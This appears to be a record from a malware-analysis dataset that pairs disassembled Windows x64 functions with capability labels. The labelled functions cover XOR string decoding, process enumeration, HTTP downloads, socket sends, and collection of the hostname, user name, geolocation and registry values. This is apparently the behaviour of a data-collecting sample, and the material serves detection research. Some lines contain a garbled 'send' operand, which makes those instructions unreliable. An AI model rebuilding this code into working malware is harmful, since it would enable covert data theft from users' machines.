joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140047a80
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
movups xmm0, xmmword [str.EqFFGSYLiHT_XML_]
movzx eax, byte [0x140163920]
xor ecx, ecx
cmp dword [0x14017cbe8], 2
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x40], al
jl 0x140047c1a
movdqa xmm0, xmmword [0x140165560]
lea rdx, [rbp - 0x4c]
movdqa xmm5, xmmword [0x1401654a0]
mov eax, 5
movdqa xmm4, xmmword [0x1401655a0]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x1401654d0]
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [rsp + 0x50], xmm8
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
movd xmm8, eax
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140165540]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140165540]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140047b00
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x11
jge 0x140047c5f
movsxd rax, ecx
lea r8, [rbp - 0x50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140047c30
cmp byte [0x140163931], 0
movsd xmm0, qword [str.EV_XeR_T9]
movzx eax, word [0x140163930]
movsd qword [rbp - 0x60], xmm0
mov word [rbp - 0x58], ax
je 0x140047ca8
xor byte [rbp - 0x5f], 0x31
xor byte [rbp - 0x5e], 0x32
xor byte [rbp - 0x5d], 0x33
xor byte [rbp - 0x5c], 0x34
xor byte [rbp - 0x5b], 0x35
xor byte [rbp - 0x5a], 0x36
xor byte [rbp - 0x59], 0x37
xor byte [rbp - 0x58], 0x38
xor byte [rbp - 0x57], 0x39
mov byte [rbp - 0x60], 0x6e
lea rdx, [rbp - 0x60]
call fcn.140047600
lea r8, [rbp - 0x50]
mov rdx, rax
call fcn.140047760
test rax, rax
je 0x140047ccd
call rax
add rsp, 0x80
pop rbp
ret
add rsp, 0x80
pop rbp
ret
Function at 0x140047fa0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x40
cmp byte [0x14016395f], 0
mov rbx, rdx
mov rax, qword [str.Eq__FS7EqAQTBRkW_KOUQK_]
mov qword [rbp + 0x10], rax
je 0x14004812f
xor ecx, ecx
cmp dword [0x14017cbe8], 2
jl 0x1400480ee
movdqa xmm2, xmmword [0x1401654a0]
mov eax, 5
movdqa xmm3, xmmword [0x1401654b0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401655a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x30], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401654d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x10]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140165540]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140165560]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp + 0x10], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x30]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401654d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x14]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140165540]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140165560]
xorps xmm2, xmm0
movd dword [rbp + 0x14], xmm2
jmp 0x14004812f
lea r8, [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp ecx, 8
jl 0x140048100
cmp byte [0x140163931], 0
movsd xmm0, qword [str.EV_XeR_T9]
movzx eax, word [0x140163930]
movsd qword [rbp - 0x20], xmm0
mov word [rbp - 0x18], ax
je 0x140048178
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor byte [rbp - 0x1c], 0x34
xor byte [rbp - 0x1b], 0x35
xor byte [rbp - 0x1a], 0x36
xor byte [rbp - 0x19], 0x37
xor byte [rbp - 0x18], 0x38
xor byte [rbp - 0x17], 0x39
mov byte [rbp - 0x20], 0x6e
lea rdx, [rbp - 0x20]
call fcn.140047600
lea r8, [rbp + 0x10]
mov rdx, rax
call fcn.140047760
test rax, rax
je 0x140048197
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
Function at 0x140048490
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rsp + 0x2b8], rax
call fcn.1400485f0
test al, al
je 0x1400485b4
call fcn.1400481b0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400485b4
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400485ac
xor esi, esi
call fcn.140047ce0
mov ecx, dword [rsp + 0x78]
cmp ecx, eax
je 0x140048596
xorps xmm0, xmm0
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x38], 0x30
lea r9, [rsp + 0x28]
mov qword [rsp + 0x40], rsi
lea r8, [rsp + 0x38]
mov dword [rsp + 0x50], esi
mov edx, 0x410
mov qword [rsp + 0x48], rsi
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x30], rsi
call qword [sym.imp.ntdll.dll_NtOpenProcess]
test eax, eax
js 0x140048596
mov rbx, qword [rsp + 0x20]
test rbx, rbx
je 0x140048596
lea rdx, [rsp + 0x2b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14004858e
cmp dword [rsp + 0x2b0], 0x103
jne 0x14004858e
cmp dword [rsp + 0x90], esi
je 0x1400485db
call fcn.140047ce0
cmp dword [rsp + 0x90], eax
jne 0x1400485db
mov rdx, rbx
call fcn.140047fa0
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400484f3
mov rdx, rdi
call fcn.140047fa0
xor al, al
mov rcx, qword [rsp + 0x2b8]
xor rcx, rsp
call fcn.140094f70
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rdx, rbx
call fcn.140047fa0
mov rdx, rdi
call fcn.140047fa0
mov al, 1
jmp 0x1400485b6
Function at 0x1400485f0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0xe8
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rsp + 0xa0], rax
cmp byte [0x140163951], 0
movups xmm0, xmmword [str.EcFQGOV_UIQJV__]
movzx eax, word [0x140163950]
mov qword [r11 - 8], rbx
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x30], 0
movsd xmm0, qword [0x140163948]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
je 0x14004880f
xor ecx, ecx
cmp dword [0x14017cbe8], 2
jl 0x1400487d3
movdqa xmm0, xmmword [0x140165560]
lea rdx, [rsp + 0x3c]
movdqa xmm5, xmmword [0x1401654a0]
mov eax, 5
movdqa xmm4, xmmword [0x1401655a0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1401654d0]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140165540]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140165540]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400486b0
movaps xmm8, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xd0]
cmp ecx, 0x1a
jge 0x14004880f
movsxd rax, ecx
lea r8, [rsp + 0x38]
add r8, rax
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x30
xor byte [r8 - 1], al
cmp ecx, 0x1a
jl 0x1400487e0
lea rdx, [0x1401638e0]
call fcn.140047600
lea r8, [rsp + 0x38]
mov rdx, rax
call fcn.140047760
mov rbx, rax
call fcn.140047a80
mov r9d, 0x30
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
xor edx, edx
mov rcx, rax
call rbx
test rbx, rbx
mov rbx, qword [rsp + 0xe0]
je 0x14004886c
test eax, eax
jne 0x14004886c
mov rax, qword [rsp + 0x78]
cmp byte [rax + 2], 0
je 0x14004886c
mov byte [rsp + 0x30], 1
movzx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140094f70
add rsp, 0xe8
ret
Function at 0x140049110
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.140095c40
sub rsp, rax
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 1]
lea rcx, [0x1401639c8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x14004922b
cmp qword [rdi + 0x18], 0x10
jb 0x140049195
mov rdi, qword [rdi]
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140049222
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140049219
nop dword [rax]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140049219
mov r9d, eax
lea r8, [rsp + 0x50]
mov rdx, qword [rbx + 8]
mov rcx, rbx
call fcn.1400497f0
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400491e0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rbx
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140094f70
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x14004cbb0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rax, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x14004ccc5
mov rdx, qword [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x14004cc23
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rcx, [rsp + 0x28]
call fcn.14003e9e0
mov ebx, 5
mov dword [rsp + 0x20], ebx
and ebx, 0xfffffffb
mov dword [rsp + 0x20], ebx
or ebx, 2
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.14003ac20
and ebx, 0xfffffffd
mov dword [rsp + 0x20], ebx
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x14004ccb2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ccad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ccf2
call fcn.140094f90
movdqa xmm0, xmmword [0x140165480]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], si
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140094f70
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140071810
int3
Function at 0x14004e460
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
test rdx, rdx
je 0x14004e4d4
mov qword [rsp + 0x30], rbp
mov ebp, 0x7fffffff
nop word [rax + rax]
mov rcx, qword [0x14017cd50]
lea rdx, [rbx + rsi]
mov r8d, edi
cmp rdi, rbp
cmova r8d, ebp
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14004e4bc
cdqe
add rbx, rax
sub rdi, rax
jne 0x14004e490
mov rbp, qword [rsp + 0x30]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x40]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140052ba0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rbx, rcx
xor ebp, ebp
mov dword [rsp + 0x30], ebp
lea ecx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov esi, eax
mov word [rsp + 0x20], bp
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 4]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
movsxd rdi, eax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], send
mov byte [rbx], bpl
mov dword [rsp + 0x30], 1
mov rdx, rdi
xor r8d, r8d
mov rcx, rbx
call fcn.140040020
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140052c1e
mov r8, qword [rbx]
mov word [rsp + 0x20], bp
mov r9d, edi
mov edx, 4
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
lea eax, [rdi - 1]
movsxd rdx, eax
xor r8d, r8d
mov rcx, rbx
call fcn.140040020
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x1400534f0
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x10050
call fcn.140095c40
sub rsp, rax
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x30], 0x7fff
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x14005354e
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1400470e0
jmp 0x140053563
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], dil
mov dword [rsp + 0x20], 1
mov rax, rbx
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.140094f70
mov rbx, qword [rsp + 0x10068]
add rsp, 0x10050
pop rdi
ret

Function at 0x140053590
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x10050
call fcn.140095c40
sub rsp, rax
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x30], 0x7fff
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x1400535ee
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1400470e0
jmp 0x140053603
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], dil
mov dword [rsp + 0x20], 1
mov rax, rbx
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.140094f70
mov rbx, qword [rsp + 0x10068]
add rsp, 0x10050
pop rdi
ret
Function at 0x140056db0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x398]
sub rsp, 0x498
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov rdi, r9
mov rax, r8
mov r10, rdx
mov rbx, rcx
mov qword [rsp + 0x58], rcx
xor esi, esi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x60], 0x400
mov dword [rsp + 0x70], 0xf003f
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], send
mov byte [rcx], sil
mov dword [rsp + 0x30], 1
cmp qword [r8 + 0x18], 0x10
jb 0x140056e28
mov rax, qword [r8]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rax
mov rcx, r10
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140056f71
cmp qword [rdi + 0x18], 0x10
jb 0x140056e59
mov rdi, qword [rdi]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140056f71
mov r8d, dword [rsp + 0x60]
dec r8d
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x38]
call fcn.14002db70
nop
lea rax, [rsp + 0x38]
cmp rbx, rax
je 0x140056f25
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140056ef6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140056ef1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140056f9f
mov rcx, r8
call fcn.140094f90
mov qword [rbx + 0x18], send
mov byte [rbx], 0
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
movdqa xmm0, xmmword [0x140165490]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140056f5e
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056fa5
call fcn.140094f90
movdqa xmm0, xmmword [0x140165490]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140056f81
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140094f70
add rsp, 0x498
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140071810
nop
call fcn.140071810
int3
Function at 0x140056fb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x14017cbd0]
xor rax, rsp
mov qword [rbp + 0x380], rax
mov rdi, r9
mov rax, r8
mov rbx, rcx
mov qword [rsp + 0x58], rcx
xor esi, esi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x60], 0x400
mov dword [rsp + 0x70], 0xf003f
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], send
mov byte [rcx], sil
mov dword [rsp + 0x30], 1
cmp qword [r8 + 0x18], 0x10
jb 0x140057028
mov rax, qword [r8]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140057172
cmp qword [rdi + 0x18], 0x10
jb 0x14005705d
mov rdi, qword [rdi]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, rdi
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140057172
mov r8d, dword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x38]
call fcn.14002db70
nop
lea rax, [rsp + 0x38]
cmp rbx, rax
je 0x140057126
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400570f7
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400570f2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400571a7
mov rcx, r8
call fcn.140094f90
mov qword [rbx + 0x18], send
mov byte [rbx], 0
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
movdqa xmm0, xmmword [0x140165490]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14005715f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005715a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400571ad
call fcn.140094f90
movdqa xmm0, xmmword [0x140165490]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140057182
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140094f70
mov rbx, qword [rsp + 0x4b8]
add rsp, 0x490
pop rdi
pop rsi
pop rbp
ret
call fcn.140071810
nop
call fcn.140071810
int3